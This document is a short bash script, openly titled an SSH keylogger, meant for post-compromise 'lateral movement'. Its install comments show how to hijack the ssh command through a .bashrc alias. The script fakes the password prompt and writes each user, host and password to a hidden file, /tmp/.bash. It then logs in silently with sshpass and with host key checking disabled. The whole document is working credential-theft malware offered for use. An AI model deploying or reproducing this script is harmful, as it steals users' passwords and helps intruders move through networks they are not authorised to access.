ssh keylogger

ssh-keylogger.sh

#!/bin/bash
# author: deoxykev
# version: 1.0
# logs ssh passwords to other hosts for lateral movement
# warning: needs fix for dns based '-l' option; only works for ip addresses 
# 
# installation:
# apt install sshpass -y
# mv ssh-keylogger.sh /tmp/ssh
# chmod +x /tmp/ssh
# cd
# echo "alias ssh="bash /tmp/ssh" >> .bashrc


keylogfile='/tmp/.bash'

if [[ ! "$@" =~ '-' ]]; then
        user=$(echo "$@" | cut -f1 -d'@')
        host=$(echo "$@" | cut -f2 -d'@')
        echo -n "${user}@${host}'s password:"
        read -s password
        echo ''
        echo "${user}@${host}:${password}" >> "$keylogfile" 
        sshpass -p "${password}" ssh -o StrictHostKeyChecking=no ${user}@${host}
elif [[ "$@" =~ '--help' || "$@" =~ '-h' ]]; then
        ssh --help && exit 0
elif [[ "$@" =~ '-l' ]]; then
        user="$(echo "$@" | grep -oE '\-l \w+' | cut -f2 -d 'l')"
        host="$(echo "$@" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+')"
        echo -n "${user}@${host}'s password:"
        read -rs password
        echo ''
        echo "${user}@${host}:${password}" >> "$keylogfile" 
        sshpass -p "${password}" ssh -o StrictHostKeyChecking=no ${user}@${host}
fi


exit 0